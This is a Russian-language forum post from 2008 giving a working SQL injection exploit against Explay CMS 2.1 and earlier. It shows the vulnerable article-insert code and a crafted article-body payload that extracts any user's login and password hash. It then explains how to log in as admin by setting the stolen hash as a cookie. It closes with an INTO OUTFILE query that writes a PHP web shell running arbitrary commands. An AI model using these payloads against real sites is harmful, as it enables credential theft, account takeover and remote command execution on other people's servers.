Показать сообщение отдельно

[Explay CMS <= 2.1] SQL Injection
  #2  
Старый 05.12.2008, 09:23
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию [Explay CMS <= 2.1] SQL Injection

[Explay CMS <= 2.1] SQL Injection

Уязвимость позволяет получить хэш пароля любого пользователя.
Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.

Для получение пароля необходимо добавить статью (http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).

Код добавления новой статьи:
modules/articles/mysql.class.php
PHP код:
    public function add_article ($art) {
        
$this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
                        0,
                        '"
.$art['art_category']."',
                        '"
.$art['art_header']."',
                        '"
.$art['art_body']."',
                        '"
.User::$properties['user_id']."',
                        '"
.time()."',
                        '"
.$art['art_comments']."',
                        '',
                        '',
                        '"
.$art['art_publik']."',
                        'no',
                        '"
.$art['art_visible']."',
                        '"
.$art['art_tags']."',
                        '0',
                        '',
                        '0',
                        '"
.$art['auto_tag']."'
        )"
); 
Составляем ядовитый "текст" статьи:

PHP код:
aaaaa', 
(SELECT user_id FROM expl_users WHERE user_login='
<UR_LOGIN>'), 
'
1228445451', 
'
on', 
'', 
'', 
'
yes', 
'
no', 
'
on', 
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='
<USER'S_LOGIN>'),
'0'
''
'0'
'yes' )/* 
Подзапрос
Цитата:
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)

В итоге выполнится вот такой запрос:
PHP код:
INSERT INTO expl_articles VALUES 0
''
'some_title'
'aaaaa'
(
SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'), 
'1228445451'
'on'
''
''
'yes'
'no'
'on'
(
SELECT concat_ws(0x3auser_loginuser_passwordFROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'
0', 
'', 
'
0', 
'
yes' ) 
Результат вложенного запроса добавиться в виде "login:password" в поле Теги, например
Цитата:
admin:012ce7449da5b5afb89db5f32810946ea94098e6
Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
PHP код:
function expl_hash($str) {
    if (
function_exists('sha1'))
        return 
sha1($str); 
    elseif (
function_exists('mhash'))
        return 
bin2hex(mhash(MHASH_SHA1$str));
    else
        return 
md5($str);

Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).

К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.

Getting shell
Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
PHP код:
SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'

Последний раз редактировалось [x26]VOLAND; 03.01.2009 в 18:53..